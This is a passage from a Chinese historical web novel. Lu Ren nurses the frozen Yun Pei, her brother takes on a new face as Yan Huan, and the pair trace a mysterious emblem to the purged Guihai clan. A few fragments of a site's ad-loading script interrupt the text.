“折损在牢中大半,余下人陪你逃亡、引开追兵,朝廷没能活捉,故而无一人证词。”云配听至此时,攥紧双拳。他为了朋友牺牲了五百三十一人的命,只是因为他是这群黑衣人的“少主”。 人命面前,他不知如何衡量。 莫飞定定望着这位他们的少主,年轻,固执又带着有些天真的善良。 ——— 云配初听路壬讲的故事,只以为是黑衣人供出了他,只是若这些人就守着他的秘密直至死亡,那他便觉有些怪异了。 “若如你所说,黑衣人全部没了,应该不会猜到我身上,一定还有其他证据证明是我。” “不太清楚,应该不会有什么特别明显的证物,要么是那枚银质徽记上额外刻了什么。” 他想不清楚,但已经不想这些人为他送命。 从即慈寺的山上下来,云配也未坐马车,一个人慢慢持棍走到卢府。 漫天飞雪飘下,竟是这样的感觉。 他走到临安城的时候,城门将闭,戍卫的兵士人少时也偶尔调笑几句趣事。 “到时间了,今日城门要关了,赶明再进吧。” 他倒不是特别急于回临安,只是怕家中担心,想让人传个信,便顺手从怀中掏出一个金豆子。 兵卫不着痕迹收下。 “这位大哥,可否代为传话至云府,言:小五今日误了时辰,不能及时返回家中,望长辈勿怪。” 几个戍卫登时脸色便变了,忙拱手道:“不知是云氏的公子,是咱们几个有眼不识泰山,快请进。” 收金豆子的兵卫当即招呼人将城门口的鹿角搬走,而后双手托举着那一小块金豆恭敬弯腰递给云配。 “多谢。”云配眼睫微敛,没有抬手,持着杖头也不回:“收下吧,买些酒暖暖身子。” “多谢云少爷。整个临安城难寻处几位您这样的妙极人物。”戍卫忙趴在雪上不住叩头。 他不记得卢家的地方,绕了好几条街才终于在一个角落找到卢家的宅邸。 卢家新丧,今年未挂新桃。 敲门的手抬起又放下,最后只得缩在门口蹲着,避一避雪。 天色已晚,家里大概担心他会不会回去。 云配抬眼环视四周,好像也有几处人家并非新符,只是红的比卢家显眼一些罢了。卢家的只比这夜的雪要红一些。 16. 浮萍著岸风吹歇 路壬要出门时,门前一堆雪挡住她的去路。 她绕到旁边,歪头打着灯笼照过去,才发现是冻成一团的人。 吓得她下意识后退一步。 见惯了死人和乍见人死不是一回事。 路壬伸手摸摸鼻息,没死,活的好好的。她便蹲下瞧人,左手贴着刀柄,右手打着灯笼贴近那人的脸。 微弱的烛光下是一张清俊的脸,微微闭着眼。 “云配?怎么是你?邓伯!杉宁!二狗!吉诚!快来人!” 路壬忙扔了手上灯笼,要把他搀起来。 只是没料得云配一点力气都没有,自己跌坐在地上,抱了云配满怀,以一种奇异的勾股形姿势充当了云配这条弦的勾。 雪进衣服了,路壬打了个激灵。 “哎呀,这这这!” 邓伯和二狗忙将倒了的云配搀起来。 “快将人先抬进去,抬我房间里,那间地龙暖和,阿绘还病着就别折腾他了。”路壬忙起身抖自己身上的雪。没用了,都化了。 杉宁在一旁不知要怎么帮忙,忙牵着路壬回家:“家主,外面冷,先进来吧。” 待邓伯和二狗将云配掺回房间后,路壬忙吩咐二狗:“二狗,你去云府通报一声,说云五公子现在在卢府。” 复又吩咐老邓等人:“邓伯你们在这照顾他,我骑快马去给他找大夫。” 说完便扯了件斗篷,去院子里跃马而上,踏着夜色消失。 不到两刻钟,路壬便扶着一位年逾耳顺的大夫下了马。 “yue~” “夜深相请,实非所愿,只是人命关天,老大夫请先去看诊,我马上吩咐人去煮些姜汤给您暖身。”路壬拱手道。 老大夫提着医箱往亮光的屋子走,另一手摆摆手以示不必。 “没大碍,就是冻的久了点,让人多烧些热水,拿个大桶给他泡上,别太热,跟人额头差不多就行,另外的霜打茄子叶煮水,加桶里,哎,这是怕他有冻疮。老夫开几味药,遣人抓来,煎好送服即可。” “多谢老大夫,您随邓伯先去客房歇一歇,劳您今晚先在我家将就一晚,我这就遣人给您拿诊金。”路壬接过老大夫写的药方,吩咐老邓道:“邓伯,好好招待,我去取药。” 老大夫望着这人马上颠簸的背影,不由得又犯了恶心,感慨道:“哎呦我这老骨头,你们家……这姑娘真是……生龙活虎,她没认出来昨天夜里也是我给她看的诊么?” “大概……”邓伯熟练给人开了门,掌了灯,又从箱笼中取出被子。 ——— 路壬取回来药就去了厨房,让人将药先煎了,自己盛了一碗姜汤,又披着披风骑马出去。 路壬这时才顾得上拾起刚才丢在地上的灯笼,待她走近,才发觉脚下有异物硌脚。 ——— 她拎着一提饭盒去了怀永安房中。 “我记得我想吃馄饨是一个时辰之前了。” “有点事,耽搁了。” “哪是有点事,我从我这屋里就听到了,这一个时辰就没有人停过脚。” “云配在门口蹲着,冻僵了。还好你要吃馄饨。” “可以,晚一个时辰的馄饨能救一条命,值。”怀永安摆摆手示意路壬可以撤了,路壬得此信号当即退出房间,关上了门,去自己房中看云配。 “家主,云公子正用桶泡着呢,您不便入内。”吉诚忙止住路壬欲向前的脚步。 “你们泡你们的。我就在那边榻上歇着。杉宁还有没多余的被子,我有点冷。” 杉宁忙用手抵住路壬额头,另一只手在自己的脑门上贴个没完。 “没发烧,家主怕是想染风寒,家主先盖三层,我去煮些驱寒剂。”杉宁自己搬过来两床被子,给她盖在身上。 路壬闭眼感慨了一声,整个人便窝在榻上:“迟早要在南方这冬天冻死。云配有事喊我。” “是,家主先睡吧。” ——— 路壬再醒时,云配就裹着被子坐在地上的蒲团上睡着了。 蜷成一团,跟他在雪地里蹲着一个模样。 怎么不去床上睡,她可是特意腾出来,床上杉宁铺了两层褥子,软的很。 云配睡的很沉,路壬连着被子带着人端过去,也没给他折腾醒。 忙活完,院里几只鸡就叫了。 路壬回榻上躺着,一点都不想离开被褥。 杉宁小心翼翼推开门,探头探脑进来,瞧见她睁开眼睛,脚步都快了两分。 “家主,外面云家公子来了,带了好多礼物呢。” 路壬刚睁开的眼睛又闭上了:“云家公子以后就不用通报了,直接让他进来就行……” 话未说尽,路壬忽然想起来云配在床上睡着,那外面的云家公子是哪个? “等等等等,我稍微收拾一下,你先去让他去前厅等一等。” “好。” 路壬梳了梳凌乱的发髻,热水擦了脸,正了正衣服便去见了人。 “卢姑娘,咱们又见面了。”来者云明,见着他就行了个大礼。 路壬忙将人扯起来“云大人这是干什么?” “多谢卢姑娘能阻拦住我那一根筋的弟弟,云明在此替云家上下谢过了。” “应当的。” “昨夜听闻贵府来报,小五在卢家,不知他现下何处,正好把他接回去。” “云大人请随我来。”路壬将云明直接带进房间。 云配此时还睡的正沉。 “年轻人啊……这,比较容易困。”云明瞧着弟弟有些不成体统,找补了一句。 “昨夜他冻着了,请过大夫了,要好好休息。” “是是是。” “那边的榻上怎还有被褥?” “昨夜太晚了,客房的地龙没有提前烧,很是冷,所以我在这将就了一晚。” 云明面上一冷,当即朝熟睡的云配走去。路壬不知为何,急忙跟上。 只见云明伸手揪起来云配耳朵,直接将人揪醒了。 云配睡眼惺忪,不明所以:“哥……” “睡人家姑娘房中我姑且当做不得以算了,你睡人家姑娘房中自己睡床,让人家睡榻,你怎么好意思的?” 冤枉,天大的冤枉,云配揉了揉自己眼睛,不太有自己如何睡到床上的记忆。 “误会,昨天云配淋了大雪,现下还病着,自当好好休养。”路壬忙来阻拦。 “是我家家教不严,卢姑娘勿怪。”云明又行了一礼。 “不怪不怪。”路壬慌忙摇手,莫名有些心虚。 “你跟我回去吗?”云明低了些头,问云配道。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “我能先不回去吗?”云配转头看向路壬。 路壬与他相对的眼睛移开:“随你。” “那小五就麻烦卢姑娘了。待家中之事处理完,我再来看他。” “云大人慢走。”路壬为云明引路。 “我这弟弟喜欢钻牛角尖,唉……”云明回望一眼,上了马车。 ——— “三哥他走了?” “走了。” “我有事要给你说。”云配瞥了一眼在一旁的杉宁。 “杉宁,你去看看公子醒没醒,把他叫起来,问问他要吃什么。” “好。” “你有没有看到一个令牌?” 路壬从袖口掏出来,递给他:“昨日雪地里捡的。” “你可还记得你说过的鸟首鱼尾的徽记,前日我在红叶山庄雪地上瞧见有一片印记。昨日我去我母亲那里,她给我了这块令牌。” “你在怀疑什么?” “我拿到令牌后,有个黑衣人找到我,说我是“少主”。但我于云家,只是五公子。我于我母族,上面仍有一母同胞的兄长,更何况我舅舅亦有亲子。我究竟是什么份的少主?” “那个人呢?他有说什么吗?” “不过皆不重要,我已让他们将这个组织解散,。无论这是哪方的势力,我都不想用别人的命去做我错误的垫脚石。”云配平静地看着路壬,“哪怕我想救仲安。” 路壬翻箱倒柜找出几张纸:“五百人的私兵,不好养活的。能藏的下五百人地方,还要不被人发觉,就不好找,不过不排除化整为零,隐匿民间。其次五百人的日常供给,本身也是一笔不菲的价钱,起码是我俸禄的十倍。” “被我一下子解散了……省点钱?” 路壬深深叹了一口气:“但像你们这种世家,真的缺钱吗?” “从来没算过。” “如若你在红叶山庄发现过,也许在云家能查到。或者江湖上有一个“如听闻”的组织,可以买消息。” “那我们去如听闻?” “如听闻在庆州,我们暂时可能去不了。” “这也不行,那也不行……” “云配,我希望在你担心的事情发生之前,你没那么忧愁。你身旁并非一无所有,所以别那么害怕了。” “那我能干些什么?” “你以前无事做不是活的挺好的,骑马,打球,别苛待自己。很多事情也不是分得清是非对错。” “我知道,但控制不住。” 路壬给他用袖子擦泪:“你先把你眼泪控制住,也别不拿自己的命当回事。我不想让你死。” 杉宁敲门进来:“家主,公子醒了,他说他要吃烧花鸭,烧雏鸡,烧子鹅,卤煮咸鸭,酱鸡,腊肉……” “他想吃点咸的,让厨房去做吧。” 杉宁问:“云公子想吃什么?” 云配片刻失神:“胃口不佳,不知吃什么。” “下三碗面鱼即可。”路壬转头给杉宁说。 “万一……” “没有万一,我会一直站在你身旁。” “哦……”云配虽然早已知道,但仍旧不能去完全适应那么坚定的眼神,恍若原本平静的水面投下一块小石,波澜乍惊。他别过脸去,过了好久才发出蚊子样的一声。 17. 有人独立画桥东 三人在卢府中颓废了几日。梁钧(梁思珃)来了信。 “我收到了梁家兄长的信,定国公府的案子要重审。” 云配一骨碌从床上弹起来,麻木地捏了捏自己的脸。 “疼。” “定国公府暂时无碍,只是还要在牢里呆一段时间。有时间也许就能等一等转机。”路壬将药喂到他嘴上。 云配愣了片刻,朝前凑了一点,直接吞了勺子中的药,怎么又苦又辣,他的眉都拧巴在一起。 路壬将药碗放他手上:“看来不太好喝,一口闷了它,我去给你取些水漱口。” 云配接过碗没动,等到路壬端来一碗水出现在门口时,才仰头一饮而尽。 “给。”路壬接过他手中的药碗,替换成水碗。 云配当即猛灌了一大口。 “那是昨夜烧的水,别咽,吐这个碗里。”路壬将他方才药碗放置他嘴边,等着他将水吐出来。 棕褐色的药还有一部分挂在碗壁上,欲流不流,碗沿上是路壬的双手拇指,花瓣样的淡粉。房中重重的药草味中,夹杂着淡淡的茅香。 他鼓着腮,鬼使神差地咽了下去。见路壬目不转睛的盯着他,忙道:“无妨,昨夜烧的水也是能喝的。” “我再去给你倒点热水,刚喝完药喝凉水容易泻肚。”路壬没有再问什么,只是收走了他手中的碗,交叠在一起。 手上的重量陡然空了,竟觉得有些慌张地不知如何是好。 云配摸了摸胸口,这药吃了莫非会心悸么?像短了一口气,双手都微微麻木。 不过等了一会儿,路壬也没来,只有二狗端着壶热水过来了,到了就赶紧给云配倒了一杯。 “公子,你这大冷天不能喝凉水啊,本来就是寒气进了肺腑,这五脏也经不住,何况刚还吃了药,再不能了……” “路……望呢?” “方才有客人来找家主,说是朋友,家主去接待了。” 云配实在想不出路壬还有什么朋友,想来想去只能想到自己四哥,也不顾衣服是否周正,穿了靴子就去了正堂。 路壬好好的正与人交谈着,那边不见其人已闻其声:“四哥!” 再然后就是云配扶着门框,往里面望啊望。 “云四公子不在此处,这位是燕还公子。” “燕公子,这位是云五公子云配。” 云配仔细端量这一身素衣的公子,发如黑檀,白如宣纸,面上带着银质面具,看不清楚样貌,周身仿若落雪,瞧着就觉得冷飕飕的。 “云公子好,只是天冷路滑,还是将扣子扣紧些。”虽是极和缓的语气,云配都听出了几分不悦。 “是配之错。”云配见了礼,方才闻到一股香味。 怀永安好吃馄饨,这两日路壬会骑马去摊上买上几份。 燕还手旁的馄饨没几个,只留了小半碗的白汤。 云配忽然才想起来自己这会原应该是已经用了早膳的。 还未等他问出口,路壬便给他了一个解释:“这几天看你不太爱吃馄饨,已经让厨房的刘婶给你另做了。” 云配眼中晦暗不明,平时路壬买的馄饨,独他那一份是没有芫荽的。 他不爱吃芫荽,非常奇怪又浓郁的味道,旁人不会理解他的恨入骨髓,他也不会了解别人的情有独钟。 他告诉路壬时,路壬笑了一下,说了声“好”,此后他的饭食都会有特地备出来的一份。 现在呢,忽然有什么东西被打破了。云配将此归结于今早吃的药太苦,影响到他一日的好心情。 “好,我不吃芫荽。”云配轻声道,扭头直接走了。 ————— “不去哄哄他?” “嗯?” “不碍事,继续说,梁思珃的信给我看看。” 路壬直接将信掏出来,递给卢献。 “他倒还真帮你们把这事办了,不过朝中确实有很大一部分世家都不想让定国公府倒了。 一则唇亡齿寒,世家大族盘根错节,哪有不被牵扯住的; 二来说起来有些好笑,老定国公当年结的善缘太多了,虽是说一朝落败,树倒猢狲散,但也不至于人人踩一脚,损阴德的; 三呢,韩王缺兵权,现在弘王死了,定国公府却还有旧部呢。 这时雪中送个炭,任谁不得记一辈子。” “前提是弘王活不过来,但弘王还活着。” “是啊,不好办啊,韩王他们已经查到弘王活着了,人都差点要再死一次了。” “弘王和韩王跟我们没关系。” “有关系的,你跟没跟梁思珃说韩王不行的事?” “还未来及……” “难怪,还是把命都给韩王似的。”卢献了然地点点头:“妹妹啊,你就给梁思珃说,你又找到了一封信,我死前写给他的,让他带着韩王妃早作打算。” “你死前真喜欢写信。” 卢献笑着推推面具:“是啊,我一天百十来封。” “你这面具真丑。”路壬将碗筷收拾起来,嫌弃的看了一眼卢献面具。 “让运叔买的,老人家可能瞧着好看。” “卢绘呢?” “这会应该在床上慢悠悠的吃馄饨。” “怎么能在床上吃馄饨!” 卢献过去时,怀永安正百无聊赖的在碗里拼芫荽叶子。 他走过去当即将碗端去桌上,又回过头将怀永安的衣服递过去:“起来走走透气,别闷屋子里头。” “呦,差点没认出来,怎么带个这么丑的面具?”怀永安闻声抬头,惊道。 卢献嘴角抽动:“真是血浓于水啊……” “戴面具有些引人注目了。”怀永安伸手要摘他的面具。 卢献低声道:“我自小面容便是这个样子,不带面具不好遮掩。” 何况此处是卢家的宅子,多是旧人。 “这好办,哥,想换张脸吗?”怀永安托腮笑道。 “嗯?” “望啊,你去买点东西。”怀永安一骨碌从床上爬起来,将自己散乱的长发抓了抓束上。随后翻腾纸笔出来,递给卢献:“哥,画张你喜欢的脸。” “你是狐妖,会给我画皮不成?”卢献失笑,却已在纸上落笔。 “我要是狐妖 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 就自己变银子了。”怀永安快快的写了几行东西,给了路壬,“前面的东西别在一家店里买,后面的口脂眉黛之类的随便你。” 路壬接过便去了,未曾迟疑。 “什么样都能捏出来吗?” “除非长得太犄角旮旯。比着人来画,一模一样还是可以做到的。若只是想改变原本外貌就更简单。” “如果没有特别确定的脸,我也可以看着来,哪里你觉得不合适再改,横竖一天内总归是能做完的。” “谁教你的这本事?”卢献皱眉道,“别轻易暴露,真让人盯上了也是个麻烦事。” 江湖、朝廷,哪里不想有这种奇能异士,若被人知晓,易横生枝节,徒惹麻烦。 “我当年就如话本里写的一般,跌下山崖,得了好多本秘籍,其中便是这本领。我还从未展示在人前,也就你们二人知道。”怀永安故作神秘。 “可。”卢献没管真假,只是应了一声,在纸上画了一张又陌生又熟悉的脸。 “看着有点眼熟。” 卢献喘了口气,故作轻松:“我不想顶着一张完全不熟悉的脸过一辈子。” “这张脸,怎么看怎么熟悉。”怀永安细细端详,总觉得似曾相识。 还有些像路壬,还有些像自己,眼睛跟卢献现在差别不大,其余的地方也不知道像谁。 人创造事物,总是有参考的东西,再来进一步发展,无所凭依说易也易,说难也难。 “横竖是新做的脸,留些故人模样也好。”卢献搁下笔,画中人带着一抹似有还无的笑意,如松如兰。 “哥,你这脸可真是……熙熙攘攘、门庭若市。”怀永安指了几处,“这几处要改一改,短命之相。” “你还会相面?”卢献声音低了一些。 “会一点,只是书上皮毛罢了,熟人的命数是算不出来的。” “奇门遁甲你竟各有涉猎?” “秘籍有什么,我就学什么。旧时仅为了好玩罢了,未曾料到有朝一日真用的上。” 路壬轻手轻脚开开门,走到二人身后。 “买到了。”路壬打开包袱,琳琅满目的瓶瓶罐罐。 怀永安挨个打开,依次闻了闻,用空盅与茶针调配不停,边调边在纸上写着粉末比例。 “这个画成后与人面无异,防水,故而不必担心面具会掉下来。哥,你看着点,皮又不是长你脸上,你自己学一学。”他瞧着卢献有些走神,又用手肘捣了捣卢献胳膊。 “水加多少?” “差不多跟人脸捏着差不多即可,横竖材料不贵,面多了加水,水多了加面呗。” “直接敷在脸上塑形吗?” “对,没把握的话也可以先在手上捏一捏。”怀永安已经将鼻子和嘴巴在卢献面上调整好,又开始调整面部肌肉,“等会干了你可以在脸上摸一摸,记清楚具体的位置,自己试几次应该就差不多了。” 用了一个时辰,怀永安将画中人捏了出来。 卢献照过铜镜,束发:“我另取了字,逢春。” 新的面庞,是燕还的新生,从此不必遮遮掩掩,往事皆尽,万事成空。 18. 黑云翻墨未遮山 “好名字,好!”怀永安捧场地鼓鼓掌。 “好听。”路壬附和的点点头。 卢献扶额道:“梁思珃让你们多读点书也没错……” ——— 云配捧着一碗早餐从早晨等到中午,都未见路壬和燕还出来。 燕还,路壬口中后来的燕相,虽未具体描述,但从她只言片语中也可得知是个了不起的人物,随先帝安社稷,携幼主定乾坤,带兵抵御南陈,虽兵败,但文正的袌谥足以全他一生。 这样的人物,路壬和怀永安年少时就曾相识吗? “云公子,这蛋羹冷了,我再让厨房新蒸一份吧,莫受了凉。” “无妨,我已经不想吃了。”云配起身,打算去见一见这位人物。 云配走过去时,燕还已经摘下了面具,黑发如檀,白面如玉,如山石黑白之间,不见沧海。 怀永安看到云配的那一刻,面上的笑也止住了几分,有些莫名其妙的尴尬。 落在云配眼中又像是另一层意思,仿佛他路过惊扰了三人的友情。 “云配。午膳你想吃什么?邓伯去买鱼了,你想喝鱼汤还是想吃清蒸鱼?” “云公子瞧起来还有些恍惚,可能是没休息好。”卢献道。 云配并不知道如何开口,他从来都是伙伴中的焦点,未曾有人教他如何去圆润的融入一个团体之中,因而他嘴唇蠕动了两下便罢了。 老邓拎着两条收拾好的鱼回来,便在门口僵住了,手中的鱼掉落在积雪的地里,晕染出几处殷红。 “燕兄,这位是我家邓伯。”虽然卢献是认识邓伯的,这会他身份不同,还是要重新介绍一遍的。 “邓伯,这位是燕还公子。” 卢献冲他行了礼,道:“邓伯,余为卢家主友人,燕还,小字逢春。” 邓伯登时哽咽着说不出来话。 “好好好,公子瞧着仪容端方,远远瞧着就好。” 怀永安用袖子给邓伯擦了擦泪:“邓伯哭什么,莫非燕兄好看到令人想哭。” “老了老了,眼睛有些发虚,对着风就想淌泪。”老邓抬起脸,又定定望了卢献两眼,笑到“客人来了,我去问厨房要好菜。” 怀永安忙道:“我想吃清蒸鱼,还有小酥肉!” “几位先去歇憩一会,我等下再去买两坛酒。”老邓捡起雪地上的两条鱼,佝偻着去了厨房。 ——— “为什么我们要坐在这里干瞪眼?”怀永安咳嗽了两声。 “敢问燕公子春秋几何?方才听闻已有字,想来已行冠礼?” “余自加冠已一年有矣。” 今年是成安三十四年,距离路壬所说的燕还兵败身死大概也就十年,十年之后的燕相不过三十一岁。 云配内心悲戚,哪怕路壬所言他会死于不久后的劫狱,他都未曾有过过于激动的担忧。 但想到面前人会在一个既定的事件中死去,这种冲击对云配来说就好像江南的雨,洒在身上不会伤到,是一生摆脱不了的潮湿。 “也许燕……公子应…多吃些……黑芝麻。”云配磕磕巴巴道。 怀永安凑近路壬耳朵道:“他这不是没话硬聊嘛?” “本来就没什么好聊的。”路壬扶额道。 后面四人用完餐后,干坐了一个时辰,卢献才起身告辞。 他自己去马厩牵了匹白马,披了轻裘,脚踏素雪,挥手走了。 “今日阳光格外好,余去跑马走走,暂且离去。” 老邓看着他骑马离去的背景久久伫立,欲言又止。 “邓伯,天下没有不见的筵席,燕兄他会再回来的。” 老邓长长舒了口气道:“燕还公子骑的是咱家马厩里最贵的蒲梢……” 主要是贵…… “没事没事哈,燕兄人如其名,会还的,会还的。” 毕竟是卢献自己家的马,许是骑惯了,就直接骑走了。 见路壬也没什么反应,老邓索性也不再管,去安排起了杂事,又剩下三人面面相觑。 路壬哈气搓手,回了屋里。 怀永安说要看看还能不能耍得动剑。 云配只得跟在路壬后面,低着头控制自己和她脚步的距离。 “你怎么了?”路壬猛的回头,吓得云配后退了一小步。 “没,就是不知道干什么是好。” “你以前无聊的时候干什么?” 云配想了想:“以前仲安他们的话很多。只要有人说着话,就不会觉得无事可做。” 路壬转身扯住云配袖子去往室内:“我陪你去街上走一走。” 暖烘烘的空气顿时让云配打了个寒颤。 路壬语气平和,显然并不是他来选择要不要做这件事。 路壬直接给他身上罩了件厚厚的斗篷,她的手很白,修长纤细,只是划过他脖子的时候还是有些粗糙。 云配努力不去想起路壬那句:“你脖子看上去还挺好砍的。” 只是清越且不带什么感情的声音如鬼魅一般始终在他耳畔萦绕。 —— “我想吃龙井茶糕,你知道哪里有卖的吗?” “芙蓉楼似乎有,但不知道冬天还有没有。”云配单手扯着缰绳,另一只手贴在嘴前哈气。 路壬更甚,整个身子只露出来一双眼睛。 “去看看,没有就算了。” 芙蓉楼里人来人往,有许多年轻人,还有更小的孩子。 店很大,点心却不贵,只是没有路壬想吃的龙井茶糕,她买了八块条头糕,八块定胜糕,拉着云配找了个靠窗的角落坐下,又要了盏茶。 “龙井茶糕是什么味的呢?”路壬掰了一半定胜糕,咬在嘴里。 云配抬眸,轻敛睫羽:“没有你想象中的那么好吃,就是一个普通的糕点,做不好里面还会苦。” “这样,可是我还是很想吃。”她咬完另外半块定胜糕,站了起来,用手掸了掸身上的碎屑。 “也许等哪天尝过了你就不会再想吃了。” 路壬拧眉思考了一会:“没准我爱极了。” 云配没有继续回答下去,只恨不能闯进厨房,给她现做一屉。 “长生教。”路壬转头看向楼下。 下面的几个人在雪地上走成一排,黑衣红面踏白雪,格外瞩目。 最前面的人察觉到路壬的视线,红色的面具上画着诡异的纹路,透过面具是一双深黑色的眼睛,阳光照不到眼底,故而漆黑一片,空洞的恐怖。 路壬的第一反应是把云配的脸按下去。 云配一张脸被路壬的手压在盘子上,来不及质问路壬,便已被她拖着从后门溜出去。 “你很怕那些黑衣人吗?”云配注意到她右手搭在刀柄上,十分警惕。 “长生教不是善茬,我不希望你跟他们扯上关系。”路壬给他带上斗篷的帽兜,拉着他的手去了旁边的一家典铺。 一个八字胡的瘦小男人笑着招待他们:“两位客官,咱们今个是想当啊,还是要赎啊?” 路壬掏出了一小块银子,给了“劳驾,我们在这里暖和暖和,能给壶热茶嘛?” “自然自然。”男人接过银子掂量了下,便直接去了后面。 云配 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 凑近咬耳朵:“跑这里干嘛?” “随便进的,先呆一会吧。” 正此时,门口挡风的裘褥被人掀开,一双黑靴和一页黑色的袍角显露出来。 云配意识到路壬将他的手攥的更紧了些。 那人进了店后,没了正对着的阳光,原本血红的面具黯淡了许多,二人瞟了一眼路壬他们,便径直档口过去。 路壬将云配掩在身后。 “你会用刀?”方才楼下与路壬对视的那人问道。 声音暗哑,听不出具体年岁。 “做这个的。” “哦?” “刽子手。” “难怪难怪……” “哎,客官,您的热茶来了。”八字胡男人端了托盘过来,上有紫砂壶,两个杯子。 他给二人引路去了二楼。 去不去二楼无所谓,只是能少与长生教打些联系就好。 他们进的是一处小小的雅阁,除去桌子容纳两个凳子都显得狭窄。 “二位来我们如听闻有什么要问的?消息酌情计费。” “如听闻?”路壬和云配相视一眼,他们竟误打误撞找到了如听闻。 “我能问一个问题吗?你们怎么知道我要……” 路壬瞧云配要张嘴问些愚蠢的问题,当即捂了他的嘴。 江湖中这等情报组织哪有直来直去交易的道理,定是他们方才谈话恰巧说成了最近的暗语。 “江湖上消息论个卖的,我们付不起那么多钱。”路壬凑近云配耳边道。 云配乖巧的点点头。 “借纸笔,画个东西。” 云配了然,画上了那个鸟首鱼尾的徽记。 “我们想知道这个徽记的来历。” 八字胡捋了捋自己左边的胡子:“这个啊……不贵,二百两,再送你个相关问题。” “没有带够。我身上只有一百多两的银票。”路壬转头看向云配。 云配看看自己空空如也的荷包,欲哭无泪,他离家前也没想着需要自己会用钱。 路壬伸手朝他束发处伸去,掏出来一颗圆润的玉石珠子。 “加上这个,够吗?” 八字胡抬眼对着光照了片刻,点头道:“够了。” 他换了个折扇,手上比划着讲了起来:“所谓北冥有鱼,其名为鲲,鲲之大,不知其几千里也,化而为鸟,其名为鹏。” “嗯?” “故而鸟首便是指鹏,鱼尾便是指鲲,这是一个家族徽记。” “鲲鹏为徽记的家族?” “是,云公子,你家老辈人与这个家族还有旧。” “你怎么知道……”云配刚要张嘴问,又被路壬捂嘴摁回座位,复凑到他耳边道:“银子全没了,别多问问题。” 路壬又道:“您继续。” “鲲鹏,终究是海中诞生,到海中去,故而对着那个家族的姓:归海。” “京中勋贵云集,这样的家族我按理应该听说过,为何我竟不知有朝中哪家姓归海呢?” “五王兵乱,归海将军领军平叛,后倒戈谋反,后归海将军身死,归海家九族尽灭,这便是禁忌。” “平叛,但倒戈、谋反、身死……”云配琢磨片刻,总觉得好生熟悉,可不就是弘王。 “再详细些。” “本就是送的问题,不可再详细,只是要说一句,世事本就无常,细枝末节总归是有出入的地方,各人角度各有斟酌,但无论如何,小店概不退款。” “我要再买归海家的消息。” “这个就有些贵了,三十万两。” 19. 君向潇湘我向秦 “没钱了,算了。”路壬拉着云配起身就走,不给八字胡一个眼神。 “不再考虑考虑?” “你消息卖那么贵,要么是消息带来的后果你和如听闻无法承担,要么就是根本没有这个消息,无从查起。 不管是哪种情况,都不是我们这种小老百姓付得起的代价。” 某种情况下,有了“归海”这个条件,他们几人所知的未必比如听闻知道的少。 归海,少主,云家,旧交,这几个次加起来,都能多多少少拼凑出来个上一辈的恩怨情仇。 长生教的两人在下面靠墙等着。房间方才他们那房间墙壁应该是特地用的丝绸被褥包裹起来,用以隔音。 见他们二人下来,为首的那人冲着路壬点了下头。 路壬不明所以,将云配的胳膊又扯近了些。 “我有一个问题?那个人看起来好像认识你?” “我不认识。”路壬瞥到云配略显杂乱的头发,“我也有一个问题,为什么你会在束发里塞个珠子?” 云配抚了有些凌乱的头发,眼睛微微眯起:“刚开始时,不太会束发,伺候我的人跟我差不多年纪,会梳但是梳的不好看。 侍女嬷嬷倒是给我挽的好看,但到了学堂里总不至于带着,惹人笑话。 后来我就发现先把头发拧一下再塞颗珠子,头发绕着好盘,还不容易倒,就成了习惯。” 路壬笑了:“你还上过学呢?” “勋贵子弟都会去博宁院,皇子公主也会在里面学习,当然也会收一些聪慧的贫穷人家孩子,不过很难考的。像我这种肯定就是家里硬塞进去的。” “贫苦人家费劲千辛万苦,才终于能与你在一个屋檐下读书,这世间于每个人都不公平。所以……” “哈……是啊,所以我还是要更努力些……”云配以为路壬在打趣他。 路壬直直盯着云配,扯着袖子的手也未曾松过:“所以,无论你是“谁”,都没关系,前事非你所愿,后事我们竭力去改。尽人事,听天命。” 长街纷纷扰扰,天地悠悠,日光朗朗,所有的喧嚣沉寂,云配耳畔变得空蒙起来,就由着路壬拉着自己往前一直走。 良久才回答了一声:“嗯。” 两人都有些隐隐的猜测,默契的都没再提起。 “少主”莫非指的是归海家的少主? 若真如此,云配非云家血脉。他现在拥有的家族,亲人都是虚幻的。 他要背负上一段与他原本并无交集的血海深仇。 甚至他的过去这些年里从未听到过“归海”这个家族的只言片语。 不甘,怨恨,愤懑,伤心,无措,他盯着身前的那个背影,只是心绪被缴作一团,仿若是天晴后的长街,行人车马的辗转踩踏,一滩浑浊土色的泥水夹杂碎雪,难看的不成样子。 可人生于世,谁不如浮萍? 云五公子现在才发现,除了做他的云五公子外,他什么都做不了。 ———— “他又怎么了,你带他出去风吹到了?”怀永安正在用雕木头瞧见云配有些失魂落魄的样子,又不知道怎么说。 “没有,我们找到了“如听闻”。”路壬否认道。 “打听了什么事情?” “等他自己想清楚再说吧,只是猜测。” “我可能还要在临安呆一段时间,你要回宣城吗?” “暂且在这里呆着吧,我有预感,之后的麻烦事一定不会少。我们今日还遇上了长生教的人。” “其实前几日我便在想此事,这个教派既然已经出现在临安,可见周围的郡县已经有许多信徒。其势之大,远非我们明面上瞧着那么简单。如此势力,朝廷要么招安,要么谈判,要么清缴,但官府无甚作为。 那日云配云焕在车上我不好言明,这临安城,云家可以为了地强买强卖,对这邪教更像是听之任之。 也许还有更多一些的关键。 比如,临安周边山林的地就是为了藏兵藏人。” 路壬冷静点头:“你是说云家有可能是长生教的仪仗?似乎不无可能。” “查吗?” “你想查便查,我不阻拦。” 怀永安把玩着手上刻刀,笑道:“你不拦着,也不会帮我。” “云家于我无怨,于你有仇,于云配是血亲,云配失去云家的庇护会更危险一些。” “小路啊,你有没有想过,你说的那些过往里,云配一样被当做了云家的弃子,云家在你的记忆里会舍弃他,在不久的将来难道不会舍弃他吗?” 如梁思珃所言,怀永安看问题太尖锐,太直接。路壬知道他是对的。 但相信明天会下雨和依旧不带伞并不冲突。事不临头,人总是心存侥幸。 “你说的对,也许有一日云家会舍弃他,但在此之前,云家依旧是他的血亲。” 怀永安苦着脸扯了嘴角。 “不论成败,你始终是我的血亲。若真有一日相悖,我会拿着刀站在你身边。” “然后呢?云配?” 路壬认真思索片刻:“把他绑了,离云家远远的。” 